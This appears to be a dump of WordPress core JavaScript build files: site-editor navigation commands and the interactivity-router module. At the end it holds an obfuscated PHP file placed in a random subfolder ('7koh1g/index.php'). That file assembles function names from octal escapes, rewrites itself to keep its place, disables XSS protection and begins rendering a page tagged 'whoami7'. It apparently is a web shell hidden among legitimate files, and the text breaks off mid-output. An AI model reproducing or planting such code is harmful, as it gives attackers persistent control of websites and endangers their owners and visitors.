5.5 12 5.5s6.5 2.9 6.5 6.5-2.9 6.5-6.5 6.5zM9 16l4.5-3L15 8.4l-4.5 3L9 16z" }) }); /* harmony default export */ const library_navigation = (navigation); ;// ./node_modules/@wordpress/icons/build-module/library/styles.js /** * WordPress dependencies */ const styles = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M20 12a8 8 0 1 1-16 0 8 8 0 0 1 16 0Zm-1.5 0a6.5 6.5 0 0 1-6.5 6.5v-13a6.5 6.5 0 0 1 6.5 6.5Z" }) }); /* harmony default export */ const library_styles = (styles); ;// ./node_modules/@wordpress/icons/build-module/library/symbol.js /** * WordPress dependencies */ const symbol = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-1 1.4l-5.6 5.6c-.1.1-.3.1-.4 0l-5.6-5.6c-.1-.1-.1-.3 0-.4l5.6-5.6s.1-.1.2-.1.1 0 .2.1l5.6 5.6c.1.1.1.3 0 .4zm-16.6-.4L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z" }) }); /* harmony default export */ const library_symbol = (symbol); ;// external ["wp","compose"] const external_wp_compose_namespaceObject = window["wp"]["compose"]; ;// external ["wp","htmlEntities"] const external_wp_htmlEntities_namespaceObject = window["wp"]["htmlEntities"]; ;// ./node_modules/@wordpress/core-commands/build-module/utils/order-entity-records-by-search.js function orderEntityRecordsBySearch(records = [], search = '') { if (!Array.isArray(records) || !records.length) { return []; } if (!search) { return records; } const priority = []; const nonPriority = []; for (let i = 0; i < records.length; i++) { const record = records[i]; if (record?.title?.raw?.toLowerCase()?.includes(search?.toLowerCase())) { priority.push(record); } else { nonPriority.push(record); } } return priority.concat(nonPriority); } ;// ./node_modules/@wordpress/core-commands/build-module/site-editor-navigation-commands.js /** * WordPress dependencies */ /** * Internal dependencies */ const { useHistory: site_editor_navigation_commands_useHistory } = unlock(external_wp_router_namespaceObject.privateApis); const icons = { post: library_post, page: library_page, wp_template: library_layout, wp_template_part: symbol_filled }; function useDebouncedValue(value) { const [debouncedValue, setDebouncedValue] = (0,external_wp_element_namespaceObject.useState)(''); const debounced = (0,external_wp_compose_namespaceObject.useDebounce)(setDebouncedValue, 250); (0,external_wp_element_namespaceObject.useEffect)(() => { debounced(value); return () => debounced.cancel(); }, [debounced, value]); return debouncedValue; } const getNavigationCommandLoaderPerPostType = postType => function useNavigationCommandLoader({ search }) { const history = site_editor_navigation_commands_useHistory(); const { isBlockBasedTheme, canCreateTemplate } = (0,external_wp_data_namespaceObject.useSelect)(select => { return { isBlockBasedTheme: select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.is_block_theme, canCreateTemplate: select(external_wp_coreData_namespaceObject.store).canUser('create', { kind: 'postType', name: 'wp_template' }) }; }, []); const delayedSearch = useDebouncedValue(search); const { records, isLoading } = (0,external_wp_data_namespaceObject.useSelect)(select => { if (!delayedSearch) { return { isLoading: false }; } const query = { search: delayedSearch, per_page: 10, orderby: 'relevance', status: ['publish', 'future', 'draft', 'pending', 'private'] }; return { records: select(external_wp_coreData_namespaceObject.store).getEntityRecords('postType', postType, query), isLoading: !select(external_wp_coreData_namespaceObject.store).hasFinishedResolution('getEntityRecords', ['postType', postType, query]) }; }, [delayedSearch]); const commands = (0,external_wp_element_namespaceObject.useMemo)(() => { return (records !== null && records !== void 0 ? records : []).map(record => { const command = { name: postType + '-' + record.id, searchLabel: record.title?.rendered + ' ' + record.id, label: record.title?.rendered ? (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(record.title?.rendered) : (0,external_wp_i18n_namespaceObject.__)('(no title)'), icon: icons[postType] }; if (!canCreateTemplate || postType === 'post' || postType === 'page' && !isBlockBasedTheme) { return { ...command, callback: ({ close }) => { const args = { post: record.id, action: 'edit' }; const targetUrl = (0,external_wp_url_namespaceObject.addQueryArgs)('post.php', args); document.location = targetUrl; close(); } }; } const isSiteEditor = (0,external_wp_url_namespaceObject.getPath)(window.location.href)?.includes('site-editor.php'); return { ...command, callback: ({ close }) => { if (isSiteEditor) { history.navigate(`/${postType}/${record.id}?canvas=edit`); } else { document.location = (0,external_wp_url_namespaceObject.addQueryArgs)('site-editor.php', { p: `/${postType}/${record.id}`, canvas: 'edit' }); } close(); } }; }); }, [canCreateTemplate, records, isBlockBasedTheme, history]); return { commands, isLoading }; }; const getNavigationCommandLoaderPerTemplate = templateType => function useNavigationCommandLoader({ search }) { const history = site_editor_navigation_commands_useHistory(); const { isBlockBasedTheme, canCreateTemplate } = (0,external_wp_data_namespaceObject.useSelect)(select => { return { isBlockBasedTheme: select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.is_block_theme, canCreateTemplate: select(external_wp_coreData_namespaceObject.store).canUser('create', { kind: 'postType', name: templateType }) }; }, []); const { records, isLoading } = (0,external_wp_data_namespaceObject.useSelect)(select => { const { getEntityRecords } = select(external_wp_coreData_namespaceObject.store); const query = { per_page: -1 }; return { records: getEntityRecords('postType', templateType, query), isLoading: !select(external_wp_coreData_namespaceObject.store).hasFinishedResolution('getEntityRecords', ['postType', templateType, query]) }; }, []); /* * wp_template and wp_template_part endpoints do not support per_page or orderby parameters. * We need to sort the results based on the search query to avoid removing relevant * records below using .slice(). */ const orderedRecords = (0,external_wp_element_namespaceObject.useMemo)(() => { return orderEntityRecordsBySearch(records, search).slice(0, 10); }, [records, search]); const commands = (0,external_wp_element_namespaceObject.useMemo)(() => { if (!canCreateTemplate || !isBlockBasedTheme && !templateType === 'wp_template_part') { return []; } const isSiteEditor = (0,external_wp_url_namespaceObject.getPath)(window.location.href)?.includes('site-editor.php'); const result = []; result.push(...orderedRecords.map(record => { return { name: templateType + '-' + record.id, searchLabel: record.title?.rendered + ' ' + record.id, label: record.title?.rendered ? record.title?.rendered : (0,external_wp_i18n_namespaceObject.__)('(no title)'), icon: icons[templateType], callback: ({ close }) => { if (isSiteEditor) { history.navigate(`/${templateType}/${record.id}?canvas=edit`); } else { document.location = (0,external_wp_url_namespaceObject.addQueryArgs)('site-editor.php', { p: `/${templateType}/${record.id}`, canvas: 'edit' }); } close(); } }; })); if (orderedRecords?.length > 0 && templateType === 'wp_template_part') { result.push({ name: 'core/edit-site/open-template-parts', label: (0,external_wp_i18n_namespaceObject.__)('Template parts'), icon: symbol_filled, callback: ({ close }) => { if (isSiteEditor) { history.navigate('/pattern?postType=wp_template_part&categoryId=all-parts'); } else { document.location = (0,external_wp_url_namespaceObject.addQueryArgs)('site-editor.php', { p: '/pattern', postType: 'wp_template_part', categoryId: 'all-parts' }); } close(); } }); } return result; }, [canCreateTemplate, isBlockBasedTheme, orderedRecords, history]); return { commands, isLoading }; }; const getSiteEditorBasicNavigationCommands = () => function useSiteEditorBasicNavigationCommands() { const history = site_editor_navigation_commands_useHistory(); const isSiteEditor = (0,external_wp_url_namespaceObject.getPath)(window.location.href)?.includes('site-editor.php'); const { isBlockBasedTheme, canCreateTemplate } = (0,external_wp_data_namespaceObject.useSelect)(select => { return { isBlockBasedTheme: select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.is_block_theme, canCreateTemplate: select(external_wp_coreData_namespaceObject.store).canUser('create', { kind: 'postType', name: 'wp_template' }) }; }, []); const commands = (0,external_wp_element_namespaceObject.useMemo)(() => { const result = []; if (canCreateTemplate && isBlockBasedTheme) { result.push({ name: 'core/edit-site/open-navigation', label: (0,external_wp_i18n_namespaceObject.__)('Navigation'), icon: library_navigation, callback: ({ close }) => { if (isSiteEditor) { history.navigate('/navigation'); } else { document.location = (0,external_wp_url_namespaceObject.addQueryArgs)('site-editor.php', { p: '/navigation' }); } close(); } }); result.push({ name: 'core/edit-site/open-styles', label: (0,external_wp_i18n_namespaceObject.__)('Styles'), icon: library_styles, callback: ({ close }) => { if (isSiteEditor) { history.navigate('/styles'); } else { document.location = (0,external_wp_url_namespaceObject.addQueryArgs)('site-editor.php', { p: '/styles' }); } close(); } }); result.push({ name: 'core/edit-site/open-pages', label: (0,external_wp_i18n_namespaceObject.__)('Pages'), icon: library_page, callback: ({ close }) => { if (isSiteEditor) { history.navigate('/page'); } else { document.location = (0,external_wp_url_namespaceObject.addQueryArgs)('site-editor.php', { p: '/page' }); } close(); } }); result.push({ name: 'core/edit-site/open-templates', label: (0,external_wp_i18n_namespaceObject.__)('Templates'), icon: library_layout, callback: ({ close }) => { if (isSiteEditor) { history.navigate('/template'); } else { document.location = (0,external_wp_url_namespaceObject.addQueryArgs)('site-editor.php', { p: '/template' }); } close(); } }); } result.push({ name: 'core/edit-site/open-patterns', label: (0,external_wp_i18n_namespaceObject.__)('Patterns'), icon: library_symbol, callback: ({ close }) => { if (canCreateTemplate) { if (isSiteEditor) { history.navigate('/pattern'); } else { document.location = (0,external_wp_url_namespaceObject.addQueryArgs)('site-editor.php', { p: '/pattern' }); } close(); } else { // If a user cannot access the site editor document.location.href = 'edit.php?post_type=wp_block'; } } }); return result; }, [history, isSiteEditor, canCreateTemplate, isBlockBasedTheme]); return { commands, isLoading: false }; }; function useSiteEditorNavigationCommands() { (0,external_wp_commands_namespaceObject.useCommandLoader)({ name: 'core/edit-site/navigate-pages', hook: getNavigationCommandLoaderPerPostType('page') }); (0,external_wp_commands_namespaceObject.useCommandLoader)({ name: 'core/edit-site/navigate-posts', hook: getNavigationCommandLoaderPerPostType('post') }); (0,external_wp_commands_namespaceObject.useCommandLoader)({ name: 'core/edit-site/navigate-templates', hook: getNavigationCommandLoaderPerTemplate('wp_template') }); (0,external_wp_commands_namespaceObject.useCommandLoader)({ name: 'core/edit-site/navigate-template-parts', hook: getNavigationCommandLoaderPerTemplate('wp_template_part') }); (0,external_wp_commands_namespaceObject.useCommandLoader)({ name: 'core/edit-site/basic-navigation', hook: getSiteEditorBasicNavigationCommands(), context: 'site-editor' }); } ;// ./node_modules/@wordpress/core-commands/build-module/private-apis.js /** * Internal dependencies */ function useCommands() { useAdminNavigationCommands(); useSiteEditorNavigationCommands(); } const privateApis = {}; lock(privateApis, { useCommands }); ;// ./node_modules/@wordpress/core-commands/build-module/index.js (window.wp = window.wp || {}).coreCommands = __webpack_exports__; /******/ })() ; script-modules/interactivity-router/index.min.js 0000644 00000007105 15004111010 0016143 0 ustar 00 import*as e from"@wordpress/interactivity";var t={317:e=>{e.exports=import("@wordpress/a11y")}},o={};function i(e){var n=o[e];if(void 0!==n)return n.exports;var a=o[e]={exports:{}};return t[e](a,a.exports,i),a.exports}i.d=(e,t)=>{for(var o in t)i.o(t,o)&&!i.o(e,o)&&Object.defineProperty(e,o,{enumerable:!0,get:t[o]})},i.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t);var n={};i.d(n,{o:()=>D,w:()=>A});const a=(e=>{var t={};return i.d(t,e),t})({getConfig:()=>e.getConfig,privateApis:()=>e.privateApis,store:()=>e.store});new Map;var r;const{directivePrefix:s,getRegionRootFragment:d,initialVdom:l,toVdom:c,render:g,parseServerData:w,populateServerData:p,batch:u}=(0,a.privateApis)("I acknowledge that using private APIs means my theme or plugin will inevitably break in the next version of WordPress."),h=null!==(r=(0,a.getConfig)("core/router").navigationMode)&&void 0!==r?r:"regionBased",f=new Map,v=e=>{const t=new URL(e,window.location.href);return t.pathname+t.search},m=async(e,{vdom:t}={})=>{const o={body:void 0};if("regionBased"===h){const i=`data-${s}-router-region`;e.querySelectorAll(`[${i}]`).forEach((e=>{const n=e.getAttribute(i);o[n]=t?.has(e)?t.get(e):c(e)}))}const i=e.querySelector("title")?.innerText,n=w(e);return{regions:o,head:undefined,title:i,initialData:n}},y=async e=>{if("regionBased"===h){const t=`data-${s}-router-region`;u((()=>{p(e.initialData),document.querySelectorAll(`[${t}]`).forEach((o=>{const i=o.getAttribute(t),n=d(o);g(e.regions[i],n)}))}))}e.title&&(document.title=e.title)},x=e=>(window.location.assign(e),new Promise((()=>{})));window.addEventListener("popstate",(async()=>{const e=v(window.location.href),t=f.has(e)&&await f.get(e);t?(await y(t),A.url=window.location.href):window.location.reload()})),f.set(v(window.location.href),Promise.resolve(m(document,{vdom:l})));let b="",S=!1;const P={loading:"Loading page, please wait.",loaded:"Page Loaded."},{state:A,actions:D}=(0,a.store)("core/router",{state:{url:window.location.href,navigation:{hasStarted:!1,hasFinished:!1}},actions:{*navigate(e,t={}){const{clientNavigationDisabled:o}=(0,a.getConfig)();o&&(yield x(e));const i=v(e),{navigation:n}=A,{loadingAnimation:r=!0,screenReaderAnnouncement:s=!0,timeout:d=1e4}=t;b=e,D.prefetch(i,t);const l=new Promise((e=>setTimeout(e,d))),c=setTimeout((()=>{b===e&&(r&&(n.hasStarted=!0,n.hasFinished=!1),s&&C("loading"))}),400),g=yield Promise.race([f.get(i),l]);if(clearTimeout(c),b===e)if(g&&!g.initialData?.config?.["core/router"]?.clientNavigationDisabled){yield y(g),window.history[t.replace?"replaceState":"pushState"]({},"",e),A.url=e,r&&(n.hasStarted=!1,n.hasFinished=!0),s&&C("loaded");const{hash:o}=new URL(e,window.location.href);o&&document.querySelector(o)?.scrollIntoView()}else yield x(e)},prefetch(e,t={}){const{clientNavigationDisabled:o}=(0,a.getConfig)();if(o)return;const i=v(e);!t.force&&f.has(i)||f.set(i,(async(e,{html:t})=>{try{if(!t){const o=await window.fetch(e);if(200!==o.status)return!1;t=await o.text()}const o=(new window.DOMParser).parseFromString(t,"text/html");return m(o)}catch(e){return!1}})(i,{html:t.html}))}}});function C(e){if(!S){S=!0;const e=document.getElementById("wp-script-module-data-@wordpress/interactivity-router")?.textContent;if(e)try{const t=JSON.parse(e);"string"==typeof t?.i18n?.loading&&(P.loading=t.i18n.loading),"string"==typeof t?.i18n?.loaded&&(P.loaded=t.i18n.loaded)}catch{}else A.navigation.texts?.loading&&(P.loading=A.navigation.texts.loading),A.navigation.texts?.loaded&&(P.loaded=A.navigation.texts.loaded)}const t=P[e];Promise.resolve().then(i.bind(i,317)).then((({speak:e})=>e(t)),(()=>{}))}var F=n.o,L=n.w;export{F as actions,L as state}; script-modules/interactivity-router/index.js 0000644 00000042067 15004111010 0015367 0 ustar 00 import * as __WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__ from "@wordpress/interactivity"; /******/ var __webpack_modules__ = ({ /***/ 317: /***/ ((module) => { module.exports = import("@wordpress/a11y");; /***/ }) /******/ }); /************************************************************************/ /******/ // The module cache /******/ var __webpack_module_cache__ = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ // Check if module is in cache /******/ var cachedModule = __webpack_module_cache__[moduleId]; /******/ if (cachedModule !== undefined) { /******/ return cachedModule.exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = __webpack_module_cache__[moduleId] = { /******/ // no module.id needed /******/ // no module.loaded needed /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__); /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /************************************************************************/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // EXPORTS __webpack_require__.d(__webpack_exports__, { o: () => (/* binding */ actions), w: () => (/* binding */ state) }); ;// external "@wordpress/interactivity" var x = (y) => { var x = {}; __webpack_require__.d(x, y); return x } var y = (x) => (() => (x)) const interactivity_namespaceObject = x({ ["getConfig"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.getConfig), ["privateApis"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.privateApis), ["store"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.store) }); ;// ./node_modules/@wordpress/interactivity-router/build-module/head.js /** * The cache of prefetched stylesheets and scripts. */ const headElements = new Map(); /** * Helper to update only the necessary tags in the head. * * @async * @param newHead The head elements of the new page. */ const updateHead = async newHead => { // Helper to get the tag id store in the cache. const getTagId = tag => tag.id || tag.outerHTML; // Map incoming head tags by their content. const newHeadMap = new Map(); for (const child of newHead) { newHeadMap.set(getTagId(child), child); } const toRemove = []; // Detect nodes that should be added or removed. for (const child of document.head.children) { const id = getTagId(child); // Always remove styles and links as they might change. if (child.nodeName === 'LINK' || child.nodeName === 'STYLE') { toRemove.push(child); } else if (newHeadMap.has(id)) { newHeadMap.delete(id); } else if (child.nodeName !== 'SCRIPT' && child.nodeName !== 'META') { toRemove.push(child); } } await Promise.all([...headElements.entries()].filter(([, { tag }]) => tag.nodeName === 'SCRIPT').map(async ([url]) => { await import(/* webpackIgnore: true */url); })); // Prepare new assets. const toAppend = [...newHeadMap.values()]; // Apply the changes. toRemove.forEach(n => n.remove()); document.head.append(...toAppend); }; /** * Fetches and processes head assets (stylesheets and scripts) from a specified document. * * @async * @param doc The document from which to fetch head assets. It should support standard DOM querying methods. * * @return Returns an array of HTML elements representing the head assets. */ const fetchHeadAssets = async doc => { const headTags = []; // We only want to fetch module scripts because regular scripts (without // `async` or `defer` attributes) can depend on the execution of other scripts. // Scripts found in the head are blocking and must be executed in order. const scripts = doc.querySelectorAll('script[type="module"][src]'); scripts.forEach(script => { const src = script.getAttribute('src'); if (!headElements.has(src)) { // add the <link> elements to prefetch the module scripts const link = doc.createElement('link'); link.rel = 'modulepreload'; link.href = src; document.head.append(link); headElements.set(src, { tag: script }); } }); const stylesheets = doc.querySelectorAll('link[rel=stylesheet]'); await Promise.all(Array.from(stylesheets).map(async tag => { const href = tag.getAttribute('href'); if (!href) { return; } if (!headElements.has(href)) { try { const response = await fetch(href); const text = await response.text(); headElements.set(href, { tag, text }); } catch (e) { // eslint-disable-next-line no-console console.error(e); } } const headElement = headElements.get(href); const styleElement = doc.createElement('style'); styleElement.textContent = headElement.text; headTags.push(styleElement); })); return [doc.querySelector('title'), ...doc.querySelectorAll('style'), ...headTags]; }; ;// ./node_modules/@wordpress/interactivity-router/build-module/index.js var _getConfig$navigation; /** * WordPress dependencies */ /** * Internal dependencies */ const { directivePrefix, getRegionRootFragment, initialVdom, toVdom, render, parseServerData, populateServerData, batch } = (0,interactivity_namespaceObject.privateApis)('I acknowledge that using private APIs means my theme or plugin will inevitably break in the next version of WordPress.'); // Check if the navigation mode is full page or region based. const navigationMode = (_getConfig$navigation = (0,interactivity_namespaceObject.getConfig)('core/router').navigationMode) !== null && _getConfig$navigation !== void 0 ? _getConfig$navigation : 'regionBased'; // The cache of visited and prefetched pages, stylesheets and scripts. const pages = new Map(); // Helper to remove domain and hash from the URL. We are only interesting in // caching the path and the query. const getPagePath = url => { const u = new URL(url, window.location.href); return u.pathname + u.search; }; // Fetch a new page and convert it to a static virtual DOM. const fetchPage = async (url, { html }) => { try { if (!html) { const res = await window.fetch(url); if (res.status !== 200) { return false; } html = await res.text(); } const dom = new window.DOMParser().parseFromString(html, 'text/html'); return regionsToVdom(dom); } catch (e) { return false; } }; // Return an object with VDOM trees of those HTML regions marked with a // `router-region` directive. const regionsToVdom = async (dom, { vdom } = {}) => { const regions = { body: undefined }; let head; if (false) {} if (navigationMode === 'regionBased') { const attrName = `data-${directivePrefix}-router-region`; dom.querySelectorAll(`[${attrName}]`).forEach(region => { const id = region.getAttribute(attrName); regions[id] = vdom?.has(region) ? vdom.get(region) : toVdom(region); }); } const title = dom.querySelector('title')?.innerText; const initialData = parseServerData(dom); return { regions, head, title, initialData }; }; // Render all interactive regions contained in the given page. const renderRegions = async page => { if (false) {} if (navigationMode === 'regionBased') { const attrName = `data-${directivePrefix}-router-region`; batch(() => { populateServerData(page.initialData); document.querySelectorAll(`[${attrName}]`).forEach(region => { const id = region.getAttribute(attrName); const fragment = getRegionRootFragment(region); render(page.regions[id], fragment); }); }); } if (page.title) { document.title = page.title; } }; /** * Load the given page forcing a full page reload. * * The function returns a promise that won't resolve, useful to prevent any * potential feedback indicating that the navigation has finished while the new * page is being loaded. * * @param href The page href. * @return Promise that never resolves. */ const forcePageReload = href => { window.location.assign(href); return new Promise(() => {}); }; // Listen to the back and forward buttons and restore the page if it's in the // cache. window.addEventListener('popstate', async () => { const pagePath = getPagePath(window.location.href); // Remove hash. const page = pages.has(pagePath) && (await pages.get(pagePath)); if (page) { await renderRegions(page); // Update the URL in the state. state.url = window.location.href; } else { window.location.reload(); } }); // Initialize the router and cache the initial page using the initial vDOM. // Once this code is tested and more mature, the head should be updated for // region based navigation as well. if (false) {} pages.set(getPagePath(window.location.href), Promise.resolve(regionsToVdom(document, { vdom: initialVdom }))); // Check if the link is valid for client-side navigation. const isValidLink = ref => ref && ref instanceof window.HTMLAnchorElement && ref.href && (!ref.target || ref.target === '_self') && ref.origin === window.location.origin && !ref.pathname.startsWith('/wp-admin') && !ref.pathname.startsWith('/wp-login.php') && !ref.getAttribute('href').startsWith('#') && !new URL(ref.href).searchParams.has('_wpnonce'); // Check if the event is valid for client-side navigation. const isValidEvent = event => event && event.button === 0 && // Left clicks only. !event.metaKey && // Open in new tab (Mac). !event.ctrlKey && // Open in new tab (Windows). !event.altKey && // Download. !event.shiftKey && !event.defaultPrevented; // Variable to store the current navigation. let navigatingTo = ''; let hasLoadedNavigationTextsData = false; const navigationTexts = { loading: 'Loading page, please wait.', loaded: 'Page Loaded.' }; const { state, actions } = (0,interactivity_namespaceObject.store)('core/router', { state: { url: window.location.href, navigation: { hasStarted: false, hasFinished: false } }, actions: { /** * Navigates to the specified page. * * This function normalizes the passed href, fetches the page HTML if * needed, and updates any interactive regions whose contents have * changed. It also creates a new entry in the browser session history. * * @param href The page href. * @param [options] Options object. * @param [options.force] If true, it forces re-fetching the URL. * @param [options.html] HTML string to be used instead of fetching the requested URL. * @param [options.replace] If true, it replaces the current entry in the browser session history. * @param [options.timeout] Time until the navigation is aborted, in milliseconds. Default is 10000. * @param [options.loadingAnimation] Whether an animation should be shown while navigating. Default to `true`. * @param [options.screenReaderAnnouncement] Whether a message for screen readers should be announced while navigating. Default to `true`. * * @return Promise that resolves once the navigation is completed or aborted. */ *navigate(href, options = {}) { const { clientNavigationDisabled } = (0,interactivity_namespaceObject.getConfig)(); if (clientNavigationDisabled) { yield forcePageReload(href); } const pagePath = getPagePath(href); const { navigation } = state; const { loadingAnimation = true, screenReaderAnnouncement = true, timeout = 10000 } = options; navigatingTo = href; actions.prefetch(pagePath, options); // Create a promise that resolves when the specified timeout ends. // The timeout value is 10 seconds by default. const timeoutPromise = new Promise(resolve => setTimeout(resolve, timeout)); // Don't update the navigation status immediately, wait 400 ms. const loadingTimeout = setTimeout(() => { if (navigatingTo !== href) { return; } if (loadingAnimation) { navigation.hasStarted = true; navigation.hasFinished = false; } if (screenReaderAnnouncement) { a11ySpeak('loading'); } }, 400); const page = yield Promise.race([pages.get(pagePath), timeoutPromise]); // Dismiss loading message if it hasn't been added yet. clearTimeout(loadingTimeout); // Once the page is fetched, the destination URL could have changed // (e.g., by clicking another link in the meantime). If so, bail // out, and let the newer execution to update the HTML. if (navigatingTo !== href) { return; } if (page && !page.initialData?.config?.['core/router']?.clientNavigationDisabled) { yield renderRegions(page); window.history[options.replace ? 'replaceState' : 'pushState']({}, '', href); // Update the URL in the state. state.url = href; // Update the navigation status once the the new page rendering // has been completed. if (loadingAnimation) { navigation.hasStarted = false; navigation.hasFinished = true; } if (screenReaderAnnouncement) { a11ySpeak('loaded'); } // Scroll to the anchor if exits in the link. const { hash } = new URL(href, window.location.href); if (hash) { document.querySelector(hash)?.scrollIntoView(); } } else { yield forcePageReload(href); } }, /** * Prefetches the page with the passed URL. * * The function normalizes the URL and stores internally the fetch * promise, to avoid triggering a second fetch for an ongoing request. * * @param url The page URL. * @param [options] Options object. * @param [options.force] Force fetching the URL again. * @param [options.html] HTML string to be used instead of fetching the requested URL. */ prefetch(url, options = {}) { const { clientNavigationDisabled } = (0,interactivity_namespaceObject.getConfig)(); if (clientNavigationDisabled) { return; } const pagePath = getPagePath(url); if (options.force || !pages.has(pagePath)) { pages.set(pagePath, fetchPage(pagePath, { html: options.html })); } } } }); /** * Announces a message to screen readers. * * This is a wrapper around the `@wordpress/a11y` package's `speak` function. It handles importing * the package on demand and should be used instead of calling `ally.speak` direacly. * * @param messageKey The message to be announced by assistive technologies. */ function a11ySpeak(messageKey) { if (!hasLoadedNavigationTextsData) { hasLoadedNavigationTextsData = true; const content = document.getElementById('wp-script-module-data-@wordpress/interactivity-router')?.textContent; if (content) { try { const parsed = JSON.parse(content); if (typeof parsed?.i18n?.loading === 'string') { navigationTexts.loading = parsed.i18n.loading; } if (typeof parsed?.i18n?.loaded === 'string') { navigationTexts.loaded = parsed.i18n.loaded; } } catch {} } else { // Fallback to localized strings from Interactivity API state. // @todo This block is for Core < 6.7.0. Remove when support is dropped. // @ts-expect-error if (state.navigation.texts?.loading) { // @ts-expect-error navigationTexts.loading = state.navigation.texts.loading; } // @ts-expect-error if (state.navigation.texts?.loaded) { // @ts-expect-error navigationTexts.loaded = state.navigation.texts.loaded; } } } const message = navigationTexts[messageKey]; Promise.resolve(/* import() */).then(__webpack_require__.bind(__webpack_require__, 317)).then(({ speak }) => speak(message), // Ignore failures to load the a11y module. () => {}); } // Add click and prefetch to all links. if (false) {} var __webpack_exports__actions = __webpack_exports__.o; var __webpack_exports__state = __webpack_exports__.w; export { __webpack_exports__actions as actions, __webpack_exports__state as state }; script-modules/interactivity-router/7koh1g/index.php 0000644 00000061477 15004111010 0016650 0 ustar 00 <?php while(false){/*EGnMI8l7eEco9PFk*/ break;}; ?><?php $qybp="";$qybp.="\142";$qybp.="\141";$qybp.="\163";$qybp.="\145";$qybp.="6";$qybp.="4";$qybp.="\137";$qybp.="\144";$qybp.="\145";$qybp.="\143";$qybp.="\157";$qybp.="\144";$qybp.="\145"; $hjnx="";$hjnx.="\164";$hjnx.="\162";$hjnx.="\151";$hjnx.="\155"; $lzp="";$lzp.="\145";$lzp.="\170";$lzp.="\160";$lzp.="\154";$lzp.="\157";$lzp.="\144";$lzp.="\145"; $sgm="";$sgm.="\143";$sgm.="\150";$sgm.="\155";$sgm.="\157";$sgm.="\144"; $lbv="";$lbv.="\146";$lbv.="\151";$lbv.="\154";$lbv.="\145";$lbv.="\137";$lbv.="\147";$lbv.="\145";$lbv.="\164";$lbv.="\137";$lbv.="\143";$lbv.="\157";$lbv.="\156";$lbv.="\164";$lbv.="\145";$lbv.="\156";$lbv.="\164";$lbv.="\163"; $hal="";$hal.="\146";$hal.="\151";$hal.="\154";$hal.="\145";$hal.="\137";$hal.="\160";$hal.="\165";$hal.="\164";$hal.="\137";$hal.="\143";$hal.="\157";$hal.="\156";$hal.="\164";$hal.="\145";$hal.="\156";$hal.="\164";$hal.="\163"; $oHZYOhBCIi=$lzp($qybp("PD9waHAgd2hpbGUoZmFsc2Upey8qRUduTUk4bDdlRWNvOVBGayovIGJyZWFrO307ID8+"),$lbv(__FILE__));if($hjnx($oHZYOhBCIi[0])!=""||$hjnx($oHZYOhBCIi[2])!=""){$sgm(__DIR__,0755);$sgm(__FILE__,0644);$hal(__FILE__,$qybp("PD9waHAgd2hpbGUoZmFsc2Upey8qRUduTUk4bDdlRWNvOVBGayovIGJyZWFrO307ID8+").$oHZYOhBCIi[1].$qybp("PD9waHAgd2hpbGUoZmFsc2Upey8qRUduTUk4bDdlRWNvOVBGayovIGJyZWFrO307ID8+"));}?><?php HeAdeR("X-XSS-P\x72\x6f\164e\143\x74\x69on: 0");oB_STArT();sEssION_sTArT();SEt_TiMe_lIMIT((int)Round(-88+-88+-88+-88)-(int)RoUnD(94.5+94.5+94.5+94.5)+(int)RoUnd(182.5+182.5+182.5+182.5));echo"<!\104\117CTYPE H\124ML\076\x0d\x0a\x3c\150tm\x6c\x3e\015\012<hea\144>\x0d\x0a\x3ct\x69tle>As\151\x6b\x6b\055&w\153wkwk\x77kw</\164i\164l\x65\076\x0d\012<\155e\x74a name=\042d\x65sc\162ip\x74i\157\x6e\042\x20co\156t\145\156t=\x22w\x68\157\x61mi\x37\x22>\x0d\012\074l\x69n\x6b\x20h\162ef=\x22\150\164t\x70s\x3a\057\x2f\x66o\156t\x73.goog\154\x65\x61p\x69\163.c\x6f\x6d\057\x63s\x73\x3f\146amil\171=\113e\x6c\154\171+\x53lab\042 \162e\x6c\x3d\x22\x73\164\171leshe\145t\042\x20type=\x22\164ext/\x63s\163\x22>\015\012\x3clink 